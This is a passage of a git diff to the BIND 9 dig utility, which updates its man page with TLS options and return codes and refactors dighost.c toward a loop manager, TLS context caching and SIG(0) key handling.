-``+[no]topdown``
-   This feature is related to ``dig +sigchase``, which is obsolete and
-   has been removed. Use ``delv`` instead.
+.. option:: +tls-ca[=file-name], +notls-ca
+
+   This option enables remote server TLS certificate validation for
+   DNS transports, relying on TLS. Certificate authorities
+   certificates are loaded from the specified PEM file
+   (``file-name``). If the file is not specified, the default
+   certificates from the global certificates store are used.
+
+.. option:: +tls-certfile=file-name, +tls-keyfile=file-name, +notls-certfile, +notls-keyfile
+
+   These options set the state of certificate-based client
+   authentication for DNS transports, relying on TLS. Both certificate
+   chain file and private key file are expected to be in PEM format.
+   Both options must be specified at the same time.
+
+.. option:: +tls-hostname=hostname, +notls-hostname
+
+   This option makes :program:`dig` use the provided hostname during remote
+   server TLS certificate verification. Otherwise, the DNS server name
+   is used. This option has no effect if :option:`+tls-ca` is not specified.
+
+.. option:: +topdown, +notopdown
+
+   This feature is related to :option:`dig +sigchase`, which is obsolete and
+   has been removed. Use :iscman:`delv` instead.
+
+.. option:: +trace, +notrace
 
-``+[no]trace``
    This option toggles tracing of the delegation path from the root name servers for
    the name being looked up. Tracing is disabled by default. When
-   tracing is enabled, ``dig`` makes iterative queries to resolve the
+   tracing is enabled, :program:`dig` makes iterative queries to resolve the
    name being looked up. It follows referrals from the root servers,
    showing the answer from each server that was used to resolve the
    lookup.
@@ -565,49 +667,57 @@ abbreviation is unambiguous; for example, ``+cd`` is equivalent to
    If ``@server`` is also specified, it affects only the initial query for
    the root zone name servers.
 
-   ``+dnssec`` is also set when ``+trace`` is set, to better emulate the
+   :option:`+dnssec` is also set when :option:`+trace` is set, to better emulate the
    default queries from a name server.
 
-``+tries=T``
+.. option:: +tries=T
+
    This option sets the number of times to try UDP and TCP queries to server to ``T``
    instead of the default, 3. If ``T`` is less than or equal to zero,
    the number of tries is silently rounded up to 1.
 
-``+trusted-key=####``
-   This option formerly specified trusted keys for use with ``dig +sigchase``. This
-   feature is now obsolete and has been removed; use ``delv`` instead.
+.. option:: +trusted-key=####
+
+   This option formerly specified trusted keys for use with :option:`dig +sigchase`. This
+   feature is now obsolete and has been removed; use :iscman:`delv` instead.
+
+.. option:: +ttlid, +nottlid
 
-``+[no]ttlid``
    This option displays [or does not display] the TTL when printing the record.
 
-``+[no]ttlunits``
+.. option:: +ttlunits, +nottlunits
+
    This option displays [or does not display] the TTL in friendly human-readable time
    units of ``s``, ``m``, ``h``, ``d``, and ``w``, representing seconds, minutes,
-   hours, days, and weeks. This implies ``+ttlid``.
+   hours, days, and weeks. This implies :option:`+ttlid`.
+
+.. option:: +unknownformat, +nounknownformat
 
-``+[no]unknownformat``
    This option prints all RDATA in unknown RR type presentation format (:rfc:`3597`).
    The default is to print RDATA for known types in the type's
    presentation format.
 
-``+[no]vc``
+.. option:: +vc, +novc
+
    This option uses [or does not use] TCP when querying name servers. This alternate
-   syntax to ``+[no]tcp`` is provided for backwards compatibility. The
+   syntax to :option:`+tcp` is provided for backwards compatibility. The
    ``vc`` stands for "virtual circuit."
 
-``+[no]yaml``
-   When enabled, this option prints the responses (and, if ``+qr`` is in use, also the
+.. option:: +yaml, +noyaml
+
+   When enabled, this option prints the responses (and, if :option:`+qr` is in use, also the
    outgoing queries) in a detailed YAML format.
 
-``+[no]zflag``
+.. option:: +zflag, +nozflag
+
    This option sets [or does not set] the last unassigned DNS header flag in a DNS query.
    This flag is off by default.
 
 Multiple Queries
 ~~~~~~~~~~~~~~~~
 
-The BIND 9 implementation of ``dig`` supports specifying multiple
-queries on the command line (in addition to supporting the ``-f`` batch
+The BIND 9 implementation of :program:`dig` supports specifying multiple
+queries on the command line (in addition to supporting the :option:`-f` batch
 file option). Each of those queries can be supplied with its own set of
 flags, options, and query options.
 
@@ -620,32 +730,41 @@ query.
 A global set of query options, which should be applied to all queries,
 can also be supplied. These global query options must precede the first
 tuple of name, class, type, options, flags, and query options supplied
-on the command line. Any global query options (except ``+[no]cmd`` and
-``+[no]short`` options) can be overridden by a query-specific set of
+on the command line. Any global query options (except :option:`+cmd` and
+:option:`+short` options) can be overridden by a query-specific set of
 query options. For example:
 
 ::
 
    dig +qr www.isc.org any -x 127.0.0.1 isc.org ns +noqr
 
-shows how ``dig`` can be used from the command line to make three
+shows how :program:`dig` can be used from the command line to make three
 lookups: an ANY query for ``www.isc.org``, a reverse lookup of 127.0.0.1,
 and a query for the NS records of ``isc.org``. A global query option of
-``+qr`` is applied, so that ``dig`` shows the initial query it made for
-each lookup. The final query has a local query option of ``+noqr`` which
-means that ``dig`` does not print the initial query when it looks up the
+:option:`+qr` is applied, so that :program:`dig` shows the initial query it made for
+each lookup. The final query has a local query option of :option:`+noqr` which
+means that :program:`dig` does not print the initial query when it looks up the
 NS records for ``isc.org``.
 
-IDN Support
-~~~~~~~~~~~
+Return Codes
+~~~~~~~~~~~~
+
+:program:`dig` return codes are:
+
+``0``
+   DNS response received, including NXDOMAIN status
+
+``1``
+   Usage error
+
+``8``
+   Couldn't open batch file
+
+``9``
+   No reply from server
 
-If ``dig`` has been built with IDN (internationalized domain name)
-support, it can accept and display non-ASCII domain names. ``dig``
-appropriately converts character encoding of a domain name before sending
-a request to a DNS server or displaying a reply from the server.
-To turn off IDN support, use the parameters
-``+noidnin`` and ``+noidnout``, or define the ``IDN_DISABLE`` environment
-variable.
+``10``
+   Internal error
 
 Files
 ~~~~~
@@ -657,7 +776,7 @@ Files
 See Also
 ~~~~~~~~
 
-:manpage:`delv(1)`, :manpage:`host(1)`, :manpage:`named(8)`, :manpage:`dnssec-keygen(8)`, :rfc:`1035`.
+:iscman:`delv(1) <delv>`, :iscman:`host(1) <host>`, :iscman:`named(8) <named>`, :iscman:`dnssec-keygen(8) <dnssec-keygen>`, :rfc:`1035`.
 
 Bugs
 ~~~~
diff --git a/bin/dig/dighost.c b/bin/dig/dighost.c
index 0965760876..5e8e8422a5 100644
--- a/bin/dig/dighost.c
+++ b/bin/dig/dighost.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -22,43 +24,40 @@
 #include <errno.h>
 #include <inttypes.h>
 #include <limits.h>
+#include <locale.h>
+#include <netdb.h>
 #include <stdbool.h>
 #include <stdlib.h>
 #include <string.h>
 #include <unistd.h>
 
-#ifdef HAVE_LOCALE_H
-#include <locale.h>
-#endif /* ifdef HAVE_LOCALE_H */
-
 #ifdef HAVE_LIBIDN2
 #include <idn2.h>
 #endif /* HAVE_LIBIDN2 */
 
-#include <isc/app.h>
 #include <isc/base64.h>
 #include <isc/file.h>
+#include <isc/getaddresses.h>
 #include <isc/hex.h>
 #include <isc/lang.h>
 #include <isc/log.h>
+#include <isc/loop.h>
 #include <isc/managers.h>
 #include <isc/netaddr.h>
-#include <isc/netdb.h>
 #include <isc/nonce.h>
 #include <isc/parseint.h>
-#include <isc/print.h>
 #include <isc/random.h>
 #include <isc/result.h>
 #include <isc/safe.h>
 #include <isc/serial.h>
 #include <isc/sockaddr.h>
 #include <isc/string.h>
-#include <isc/task.h>
 #include <isc/timer.h>
+#include <isc/tls.h>
 #include <isc/types.h>
 #include <isc/util.h>
-
-#include <pk11/site.h>
+#include <isc/uv.h>
+#include <isc/xml.h>
 
 #include <dns/byaddr.h>
 #include <dns/fixedname.h>
@@ -73,29 +72,24 @@
 #include <dns/rdataset.h>
 #include <dns/rdatastruct.h>
 #include <dns/rdatatype.h>
-#include <dns/result.h>
 #include <dns/tsig.h>
 
 #include <dst/dst.h>
-#include <dst/result.h>
 
 #include <isccfg/namedconf.h>
 
 #include <irs/resconf.h>
 
-#include <bind9/getaddresses.h>
-
 #include "dighost.h"
 
-#if USE_PKCS11
-#include <pk11/result.h>
-#endif /* if USE_PKCS11 */
+#define systemlocale(l) (void)setlocale(l, "")
+#define resetlocale(l)	(void)setlocale(l, "C")
 
 dig_lookuplist_t lookup_list;
 dig_serverlist_t server_list;
 dig_searchlistlist_t search_list;
 
-static atomic_bool cancel_now = ATOMIC_VAR_INIT(false);
+static bool cancel_now = false;
 
 bool check_ra = false, have_ipv4 = false, have_ipv6 = false,
      specified_source = false, free_now = false, usesearch = false,
@@ -108,24 +102,20 @@ unsigned int extrabytes;
 isc_mem_t *mctx = NULL;
 isc_log_t *lctx = NULL;
 isc_nm_t *netmgr = NULL;
-isc_taskmgr_t *taskmgr = NULL;
-isc_task_t *global_task = NULL;
+isc_loopmgr_t *loopmgr = NULL;
+isc_loop_t *mainloop = NULL;
 isc_sockaddr_t localaddr;
-isc_refcount_t sendcount = ATOMIC_VAR_INIT(0);
-isc_refcount_t recvcount = ATOMIC_VAR_INIT(0);
+isc_refcount_t sendcount = 0;
+isc_refcount_t recvcount = 0;
 int ndots = -1;
-int tries = 3;
+int tries = -1;
 int lookup_counter = 0;
 
 static char servercookie[256];
 
 #ifdef HAVE_LIBIDN2
 static void
-idn_locale_to_ace(const char *src, char *dst, size_t dstlen);
-static void
-idn_ace_to_locale(const char *src, char **dst);
-static isc_result_t
-idn_output_filter(isc_buffer_t *buffer, unsigned int used_org);
+idn_input(const char *src, char *dst, size_t dstlen);
 #endif /* HAVE_LIBIDN2 */
 
 isc_nmhandle_t *keep = NULL;
@@ -148,39 +138,20 @@ char keyfile[MXNAME] = "";
 char keysecret[MXNAME] = "";
 unsigned char cookie_secret[33];
 unsigned char cookie[8];
-const dns_name_t *hmacname = NULL;
+dst_algorithm_t hmac = DST_ALG_UNKNOWN;
 unsigned int digestbits = 0;
 isc_buffer_t *namebuf = NULL;
 dns_tsigkey_t *tsigkey = NULL;
+dst_key_t *sig0key = NULL;
 bool validated = true;
-isc_mempool_t *commctx = NULL;
 bool debugging = false;
 bool debugtiming = false;
 bool memdebugging = false;
 char *progname = NULL;
-isc_mutex_t lookup_lock;
 dig_lookup_t *current_lookup = NULL;
 
 #define DIG_MAX_ADDRESSES 20
 
-/*%
- * Apply and clear locks at the event level in global task.
- * Can I get rid of these using shutdown events?  XXX
- */
-#define LOCK_LOOKUP                                                       \
-	{                                                                 \
-		debug("lock_lookup %s:%d", __FILE__, __LINE__);           \
-		check_result(isc_mutex_lock((&lookup_lock)), "isc_mutex_" \
-							     "lock");     \
-		debug("success");                                         \
-	}
-#define UNLOCK_LOOKUP                                                       \
-	{                                                                   \
-		debug("unlock_lookup %s:%d", __FILE__, __LINE__);           \
-		check_result(isc_mutex_unlock((&lookup_lock)), "isc_mutex_" \
-							       "unlock");   \
-	}
-
 static void
 default_warnerr(const char *format, ...) {
 	va_list args;
@@ -238,6 +209,9 @@ recv_done(isc_nmhandle_t *handle, isc_result_t eresult, isc_region_t *region,
 static void
 start_udp(dig_query_t *query);
 
+static void
+start_tcp(dig_query_t *query);
+
 static void
 force_next(dig_query_t *query);
 
@@ -350,10 +324,9 @@ get_reverse(char *reverse, size_t len, char *value, bool strict) {
 		/* This is a valid IPv6 address. */
 		dns_fixedname_t fname;
 		dns_name_t *name;
-		unsigned int options = 0;
 
 		name = dns_fixedname_initname(&fname);
-		result = dns_byaddr_createptrname(&addr, options, name);
+		result = dns_byaddr_createptrname(&addr, name);
 		if (result != ISC_R_SUCCESS) {
 			return (result);
 		}
@@ -438,6 +411,7 @@ fatal(const char *format, ...) {
 	vfprintf(stderr, format, args);
 	va_end(args);
 	fprintf(stderr, "\n");
+	isc__tls_setfatalmode();
 	digexit();
 }
 
@@ -449,7 +423,7 @@ debug(const char *format, ...) {
 	if (debugging) {
 		fflush(stdout);
 		if (debugtiming) {
-			TIME_NOW(&t);
+			t = isc_time_now();
 			fprintf(stderr, "%u.%06u: ", isc_time_seconds(&t),
 				isc_time_nanoseconds(&t) / 1000);
 		}
@@ -500,7 +474,8 @@ get_server_list(irs_resconf_t *resconf) {
 	debug("get_server_list()");
 	servers = irs_resconf_getnameservers(resconf);
 	for (sa = ISC_LIST_HEAD(*servers); sa != NULL;
-	     sa = ISC_LIST_NEXT(sa, link)) {
+	     sa = ISC_LIST_NEXT(sa, link))
+	{
 		int pf = isc_sockaddr_pf(sa);
 		isc_netaddr_t na;
 		isc_result_t result;
@@ -558,8 +533,9 @@ set_nameserver(char *opt) {
 		return;
 	}
 
-	result = bind9_getaddresses(opt, 0, sockaddrs, DIG_MAX_ADDRESSES,
-				    &count);
+	isc_loopmgr_blocking(loopmgr);
+	result = isc_getaddresses(opt, 0, sockaddrs, DIG_MAX_ADDRESSES, &count);
+	isc_loopmgr_nonblocking(loopmgr);
 	if (result != ISC_R_SUCCESS) {
 		fatal("couldn't get address for '%s': %s", opt,
 		      isc_result_totext(result));
@@ -605,8 +581,13 @@ clone_server_list(dig_serverlist_t src, dig_serverlist_t *dest) {
 dig_lookup_t *
 make_empty_lookup(void) {
 	dig_lookup_t *looknew;
+	int idnin = false, idnout = false;
+
 #ifdef HAVE_LIBIDN2
-	bool idn_allowed = isatty(1) ? (getenv("IDN_DISABLE") == NULL) : false;
+	if (getenv("IDN_DISABLE") == NULL) {
+		idnin = true;
+		idnout = isatty(1);
+	}
 #endif /* HAVE_LIBIDN2 */
 
 	debug("make_empty_lookup()");
@@ -623,10 +604,8 @@ make_empty_lookup(void) {
 		.besteffort = true,
 		.opcode = dns_opcode_query,
 		.badcookie = true,
-#ifdef HAVE_LIBIDN2
-		.idnin = idn_allowed,
-		.idnout = idn_allowed,
-#endif /* HAVE_LIBIDN2 */
+		.idnin = idnin,
+		.idnout = idnout,
 		.udpsize = -1,
 		.edns = -1,
 		.recurse = true,
@@ -638,8 +617,6 @@ make_empty_lookup(void) {
 		.section_authority = true,
 		.section_additional = true,
 		.ednsneg = true,
-		.mapped = true,
-		.dscp = -1,
 	};
 
 	dns_fixedname_init(&looknew->fdomain);
@@ -647,6 +624,8 @@ make_empty_lookup(void) {
 	ISC_LIST_INIT(looknew->q);
 	ISC_LIST_INIT(looknew->my_server_list);
 
+	isc_tlsctx_cache_create(mctx, &looknew->tls_ctx_cache);
+
 	isc_refcount_init(&looknew->references, 1);
 
 	looknew->magic = DIG_LOOKUP_MAGIC;
@@ -736,6 +715,32 @@ clone_lookup(dig_lookup_t *lookold, bool servers) {
 	}
 	looknew->https_get = lookold->https_get;
 	looknew->http_plain = lookold->http_plain;
+
+	looknew->tls_ca_set = lookold->tls_ca_set;
+	if (lookold->tls_ca_file != NULL) {
+		looknew->tls_ca_file = isc_mem_strdup(mctx,
+						      lookold->tls_ca_file);
+	};
+
+	looknew->tls_hostname_set = lookold->tls_hostname_set;
+	if (lookold->tls_hostname != NULL) {
+		looknew->tls_hostname = isc_mem_strdup(mctx,
+						       lookold->tls_hostname);
+	}
+
+	looknew->tls_key_file_set = lookold->tls_key_file_set;
+	if (lookold->tls_key_file != NULL) {
+		looknew->tls_key_file = isc_mem_strdup(mctx,
+						       lookold->tls_key_file);
+	}
+
+	looknew->tls_cert_file_set = lookold->tls_cert_file_set;
+	if (lookold->tls_cert_file != NULL) {
+		looknew->tls_cert_file = isc_mem_strdup(mctx,
+							lookold->tls_cert_file);
+	}
+
+	looknew->showbadcookie = lookold->showbadcookie;
 	looknew->sendcookie = lookold->sendcookie;
 	looknew->seenbadcookie = lookold->seenbadcookie;
 	looknew->badcookie = lookold->badcookie;
@@ -748,7 +753,6 @@ clone_lookup(dig_lookup_t *lookold, bool servers) {
 	}
 	looknew->ednsneg = lookold->ednsneg;
 	looknew->padding = lookold->padding;
-	looknew->mapped = lookold->mapped;
 	looknew->multiline = lookold->multiline;
 	looknew->nottl = lookold->nottl;
 	looknew->noclass = lookold->noclass;
@@ -787,20 +791,26 @@ clone_lookup(dig_lookup_t *lookold, bool servers) {
 	looknew->tsigctx = NULL;
 	looknew->need_search = lookold->need_search;
 	looknew->done_as_is = lookold->done_as_is;
-	looknew->dscp = lookold->dscp;
 	looknew->rrcomments = lookold->rrcomments;
-	looknew->eoferr = lookold->eoferr;
+	looknew->fuzzing = lookold->fuzzing;
+	looknew->fuzztime = lookold->fuzztime;
 
 	if (lookold->ecs_addr != NULL) {
-		size_t len = sizeof(isc_sockaddr_t);
-		looknew->ecs_addr = isc_mem_allocate(mctx, len);
-		memmove(looknew->ecs_addr, lookold->ecs_addr, len);
+		looknew->ecs_addr = isc_mem_get(mctx,
+						sizeof(*looknew->ecs_addr));
+		memmove(looknew->ecs_addr, lookold->ecs_addr,
+			sizeof(*looknew->ecs_addr));
 	}
 
 	dns_name_copy(dns_fixedname_name(&lookold->fdomain),
 		      dns_fixedname_name(&looknew->fdomain));
 
 	if (servers) {
+		if (lookold->tls_ctx_cache != NULL) {
+			isc_tlsctx_cache_detach(&looknew->tls_ctx_cache);
+			isc_tlsctx_cache_attach(lookold->tls_ctx_cache,
+						&looknew->tls_ctx_cache);
+		}
 		clone_server_list(lookold->my_server_list,
 				  &looknew->my_server_list);
 	}
@@ -864,7 +874,7 @@ setup_text_key(void) {
 
 	secretsize = isc_buffer_usedlength(&secretbuf);
 
-	if (hmacname == NULL) {
+	if (hmac == DST_ALG_UNKNOWN) {
 		result = DST_R_UNSUPPORTEDALG;
 		goto failure;
 	}
@@ -874,9 +884,8 @@ setup_text_key(void) {
 		goto failure;
 	}
 
-	result = dns_tsigkey_create(&keyname, hmacname, secretstore,
-				    (int)secretsize, false, NULL, 0, 0, mctx,
-				    NULL, &tsigkey);
+	result = dns_tsigkey_create(&keyname, hmac, secretstore,
+				    (int)secretsize, mctx, &tsigkey);
 failure:
 	if (result != ISC_R_SUCCESS) {
 		printf(";; Couldn't create key %s: %s\n", keynametext,
@@ -948,8 +957,8 @@ parse_netprefix(isc_sockaddr_t **sap, const char *value) {
 		fatal("invalid prefix '%s'\n", value);
 	}
 
-	sa = isc_mem_allocate(mctx, sizeof(*sa));
-	memset(sa, 0, sizeof(*sa));
+	sa = isc_mem_get(mctx, sizeof(*sa));
+	*sa = (isc_sockaddr_t){ .length = 0 };
 
 	if (strcmp(buf, "0") == 0) {
 		sa->type.sa.sa_family = AF_UNSPEC;
@@ -1012,50 +1021,50 @@ parse_netprefix(isc_sockaddr_t **sap, const char *value) {
  * Parse HMAC algorithm specification
  */
 void
-parse_hmac(const char *hmac) {
+parse_hmac(const char *algname) {
 	char buf[20];
 	size_t len;
 
-	REQUIRE(hmac != NULL);
+	REQUIRE(algname != NULL);
 
-	len = strlen(hmac);
+	len = strlen(algname);
 	if (len >= sizeof(buf)) {
-		fatal("unknown key type '%.*s'", (int)len, hmac);
+		fatal("unknown key type '%.*s'", (int)len, algname);
 	}
-	strlcpy(buf, hmac, sizeof(buf));
+	strlcpy(buf, algname, sizeof(buf));
 
 	digestbits = 0;
 
 	if (strcasecmp(buf, "hmac-md5") == 0) {
-		hmacname = DNS_TSIG_HMACMD5_NAME;
+		hmac = DST_ALG_HMACMD5;
 	} else if (strncasecmp(buf, "hmac-md5-", 9) == 0) {
-		hmacname = DNS_TSIG_HMACMD5_NAME;
+		hmac = DST_ALG_HMACMD5;
 		digestbits = parse_bits(&buf[9], "digest-bits [0..128]", 128);
 	} else if (strcasecmp(buf, "hmac-sha1") == 0) {
-		hmacname = DNS_TSIG_HMACSHA1_NAME;
+		hmac = DST_ALG_HMACSHA1;
 		digestbits = 0;
 	} else if (strncasecmp(buf, "hmac-sha1-", 10) == 0) {
-		hmacname = DNS_TSIG_HMACSHA1_NAME;
+		hmac = DST_ALG_HMACSHA1;
 		digestbits = parse_bits(&buf[10], "digest-bits [0..160]", 160);
 	} else if (strcasecmp(buf, "hmac-sha224") == 0) {
-		hmacname = DNS_TSIG_HMACSHA224_NAME;
+		hmac = DST_ALG_HMACSHA224;
 	} else if (strncasecmp(buf, "hmac-sha224-", 12) == 0) {
-		hmacname = DNS_TSIG_HMACSHA224_NAME;
+		hmac = DST_ALG_HMACSHA224;
 		digestbits = parse_bits(&buf[12], "digest-bits [0..224]", 224);
 	} else if (strcasecmp(buf, "hmac-sha256") == 0) {
-		hmacname = DNS_TSIG_HMACSHA256_NAME;
+		hmac = DST_ALG_HMACSHA256;
 	} else if (strncasecmp(buf, "hmac-sha256-", 12) == 0) {
-		hmacname = DNS_TSIG_HMACSHA256_NAME;
+		hmac = DST_ALG_HMACSHA256;
 		digestbits = parse_bits(&buf[12], "digest-bits [0..256]", 256);
 	} else if (strcasecmp(buf, "hmac-sha384") == 0) {
-		hmacname = DNS_TSIG_HMACSHA384_NAME;
+		hmac = DST_ALG_HMACSHA384;
 	} else if (strncasecmp(buf, "hmac-sha384-", 12) == 0) {
-		hmacname = DNS_TSIG_HMACSHA384_NAME;
+		hmac = DST_ALG_HMACSHA384;
 		digestbits = parse_bits(&buf[12], "digest-bits [0..384]", 384);
 	} else if (strcasecmp(buf, "hmac-sha512") == 0) {
-		hmacname = DNS_TSIG_HMACSHA512_NAME;
+		hmac = DST_ALG_HMACSHA512;
 	} else if (strncasecmp(buf, "hmac-sha512-", 12) == 0) {
-		hmacname = DNS_TSIG_HMACSHA512_NAME;
+		hmac = DST_ALG_HMACSHA512;
 		digestbits = parse_bits(&buf[12], "digest-bits [0..512]", 512);
 	} else {
 		fprintf(stderr,
@@ -1132,6 +1141,10 @@ setup_file_key(void) {
 
 	debug("setup_file_key()");
 
+	if (sig0key != NULL) {
+		dst_key_free(&sig0key);
+	}
+
 	/* Try reading the key from a K* pair */
 	result = dst_key_fromnamedfile(
 		keyfile, NULL, DST_TYPE_PRIVATE | DST_TYPE_KEY, mctx, &dstkey);
@@ -1152,36 +1165,29 @@ setup_file_key(void) {
 
 	switch (dst_key_alg(dstkey)) {
 	case DST_ALG_HMACMD5:
-		hmacname = DNS_TSIG_HMACMD5_NAME;
-		break;
 	case DST_ALG_HMACSHA1:
-		hmacname = DNS_TSIG_HMACSHA1_NAME;
-		break;
 	case DST_ALG_HMACSHA224:
-		hmacname = DNS_TSIG_HMACSHA224_NAME;
-		break;
 	case DST_ALG_HMACSHA256:
-		hmacname = DNS_TSIG_HMACSHA256_NAME;
-		break;
 	case DST_ALG_HMACSHA384:
-		hmacname = DNS_TSIG_HMACSHA384_NAME;
-		break;
 	case DST_ALG_HMACSHA512:
-		hmacname = DNS_TSIG_HMACSHA512_NAME;
+		hmac = dst_key_alg(dstkey);
 		break;
 	default:
-		printf(";; Couldn't create key %s: bad algorithm\n",
-		       keynametext);
-		goto failure;
+		dst_key_attach(dstkey, &sig0key);
+		dst_key_free(&dstkey);
+		return;
 	}
-	result = dns_tsigkey_createfromkey(dst_key_name(dstkey), hmacname,
-					   dstkey, false, NULL, 0, 0, mctx,
-					   NULL, &tsigkey);
-	if (result != ISC_R_SUCCESS) {
-		printf(";; Couldn't create key %s: %s\n", keynametext,
-		       isc_result_totext(result));
-		goto failure;
+
+	if (dstkey != NULL) {
+		result = dns_tsigkey_createfromkey(dst_key_name(dstkey), hmac,
+						   dstkey, false, false, NULL,
+						   0, 0, mctx, &tsigkey);
+		if (result != ISC_R_SUCCESS) {
+			printf(";; Couldn't create key %s: %s\n", keynametext,
+			       isc_result_totext(result));
+		}
 	}
+
 failure:
 	if (dstkey != NULL) {
 		dst_key_free(&dstkey);
@@ -1277,6 +1283,17 @@ setup_system(bool ipv4only, bool ipv6only) {
 		ndots = irs_resconf_getndots(resconf);
 		debug("ndots is %d.", ndots);
 	}
+	if (timeout == 0) {
+		timeout = irs_resconf_gettimeout(resconf);
+		debug("timeout is %d.", timeout);
+	}
+	if (tries == -1) {
+		tries = irs_resconf_getattempts(resconf);
+		if (tries == 0) {
+			tries = 3;
+		}
+		debug("retries is %d.", tries);
+	}
 
 	/* If user doesn't specify server use nameservers from resolv.conf. */
 	if (ISC_LIST_EMPTY(server_list)) {
@@ -1295,11 +1312,6 @@ setup_system(bool ipv4only, bool ipv6only) {
 
 	irs_resconf_destroy(&resconf);
 
-#ifdef HAVE_SETLOCALE
-	/* Set locale */
-	(void)setlocale(LC_ALL, "");
-#endif /* ifdef HAVE_SETLOCALE */
-
 	if (keyfile[0] != 0) {
 		setup_file_key();
 	} else if (keysecret[0] != 0) {
@@ -1331,11 +1343,6 @@ setup_libs(void) {
 
 	debug("setup_libs()");
 
-#if USE_PKCS11
-	pk11_result_register();
-#endif /* if USE_PKCS11 */
-	dns_result_register();
-
 	result = isc_net_probeipv4();
 	if (result == ISC_R_SUCCESS) {
 		have_ipv4 = true;
@@ -1349,8 +1356,7 @@ setup_libs(void) {
 		fatal("can't find either v4 or v6 networking");
 	}
 
-	isc_mem_create(&mctx);
-	isc_mem_setname(mctx, "dig");
+	isc_managers_create(&mctx, 1, &loopmgr, &netmgr);
 
 	isc_log_create(mctx, &lctx, &logconfig);
 	isc_log_setcontext(lctx);
@@ -1362,26 +1368,12 @@ setup_libs(void) {
 
 	isc_log_setdebuglevel(lctx, 0);
 
-	isc_managers_create(mctx, 1, 0, 0, &netmgr, &taskmgr, NULL, NULL);
-
-	result = isc_task_create(taskmgr, 0, &global_task);
-	check_result(result, "isc_task_create");
-	isc_task_setname(global_task, "dig", NULL);
+	isc_mem_setname(mctx, "dig");
+	mainloop = isc_loop_main(loopmgr);
 
 	result = dst_lib_init(mctx, NULL);
 	check_result(result, "dst_lib_init");
 	is_dst_up = true;
-
-	isc_mempool_create(mctx, COMMSIZE, &commctx);
-	isc_mempool_setname(commctx, "COMMPOOL");
-	/*
-	 * 6 and 2 set as reasonable parameters for 3 or 4 nameserver
-	 * systems.
-	 */
-	isc_mempool_setfreemax(commctx, 6);
-	isc_mempool_setfillcount(commctx, 2);
-
-	isc_mutex_init(&lookup_lock);
 }
 
 typedef struct dig_ednsoptname {
@@ -1493,12 +1485,10 @@ static void
 add_question(dns_message_t *message, dns_name_t *name, dns_rdataclass_t rdclass,
 	     dns_rdatatype_t rdtype) {
 	dns_rdataset_t *rdataset;
-	isc_result_t result;
 
 	debug("add_question()");
 	rdataset = NULL;
-	result = dns_message_gettemprdataset(message, &rdataset);
-	check_result(result, "dns_message_gettemprdataset()");
+	dns_message_gettemprdataset(message, &rdataset);
 	dns_rdataset_makequestion(rdataset, rdclass, rdtype);
 	ISC_LIST_APPEND(name->list, rdataset, link);
 }
@@ -1532,7 +1522,35 @@ check_if_done(void) {
 		INSIST(isc_refcount_current(&recvcount) == 0);
 		debug("shutting down");
 		dighost_shutdown();
+
+		if (current_lookup == NULL && keep != NULL) {
+			isc_nmhandle_detach(&keep);
+		}
+	}
+}
+
+/*%
+ * Check if we're done with all the queries in the lookup, except for
+ * the `except_q` query (can be NULL if no exception is required).
+ * Expects `l` to be a valid and locked lookup.
+ */
+static bool
+check_if_queries_done(dig_lookup_t *l, dig_query_t *except_q) {
+	dig_query_t *q = ISC_LIST_HEAD(l->q);
+
+	debug("check_if_queries_done(%p)", l);
+
+	while (q != NULL) {
+		if (!q->started || isc_refcount_current(&q->references) > 1) {
+			if (!q->canceled && q != except_q) {
+				debug("there is a pending query %p", q);
+				return (false);
+			}
+		}
+		q = ISC_LIST_NEXT(q, link);
 	}
+
+	return (true);
 }
 
 static void
@@ -1564,7 +1582,7 @@ _destroy_lookup(dig_lookup_t *lookup) {
 		isc_buffer_free(&lookup->querysig);
 	}
 	if (lookup->sendspace != NULL) {
-		isc_mempool_put(commctx, lookup->sendspace);
+		isc_mem_put(mctx, lookup->sendspace, COMMSIZE);
 	}
 
 	if (lookup->tsigctx != NULL) {
@@ -1572,7 +1590,7 @@ _destroy_lookup(dig_lookup_t *lookup) {
 	}
 
 	if (lookup->ecs_addr != NULL) {
-		isc_mem_free(mctx, lookup->ecs_addr);
+		isc_mem_put(mctx, lookup->ecs_addr, sizeof(*lookup->ecs_addr));
 	}
 
 	if (lookup->ednsopts != NULL) {
@@ -1589,6 +1607,26 @@ _destroy_lookup(dig_lookup_t *lookup) {
 		isc_mem_free(mctx, lookup->https_path);
 	}
 
+	if (lookup->tls_ctx_cache != NULL) {
+		isc_tlsctx_cache_detach(&lookup->tls_ctx_cache);
+	}
+
+	if (lookup->tls_ca_file != NULL) {
+		isc_mem_free(mctx, lookup->tls_ca_file);
+	}
+
+	if (lookup->tls_hostname != NULL) {
+		isc_mem_free(mctx, lookup->tls_hostname);
+	}
+
+	if (lookup->tls_key_file != NULL) {
+		isc_mem_free(mctx, lookup->tls_key_file);
+	}
+
+	if (lookup->tls_cert_file != NULL) {
+		isc_mem_free(mctx, lookup->tls_cert_file);
+	}
+
 	isc_mem_free(mctx, lookup);
 }
 
@@ -1650,8 +1688,8 @@ destroy_query(dig_query_t *query, const char *file, unsigned int line) {
 
 	INSIST(query->recvspace != NULL);
 
-	isc_mempool_put(commctx, query->recvspace);
-	isc_mempool_put(commctx, query->tmpsendspace);
+	isc_mem_put(mctx, query->recvspace, COMMSIZE);
+	isc_mem_put(mctx, query->tmpsendspace, COMMSIZE);
 
 	query->magic = 0;
 	isc_mem_free(mctx, query);
@@ -1715,7 +1753,7 @@ void
 start_lookup(void) {
 	debug("start_lookup()");
 
-	if (atomic_load(&cancel_now)) {
+	if (cancel_now) {
 		return;
 	}
 
@@ -1766,11 +1804,19 @@ clear_current_lookup(void) {
 		return;
 	}
 
+	if (lookup->cleared) {
+		debug("current_lookup is already cleared");
+		return;
+	}
+
 	if (ISC_LIST_HEAD(lookup->q) != NULL) {
 		debug("still have a worker");
 		return;
 	}
 
+	lookup->cleared = true;
+	debug("lookup cleared");
+
 	lookup_detach(&lookup);
 }
 
@@ -1857,7 +1903,8 @@ followup_lookup(dns_message_t *msg, dig_query_t *query, dns_section_t section) {
 			dns_rdata_ns_t ns;
 
 			if (query->lookup->trace_root &&
-			    query->lookup->nsfound >= MXSERV) {
+			    query->lookup->nsfound >= MXSERV)
+			{
 				break;
 			}
 
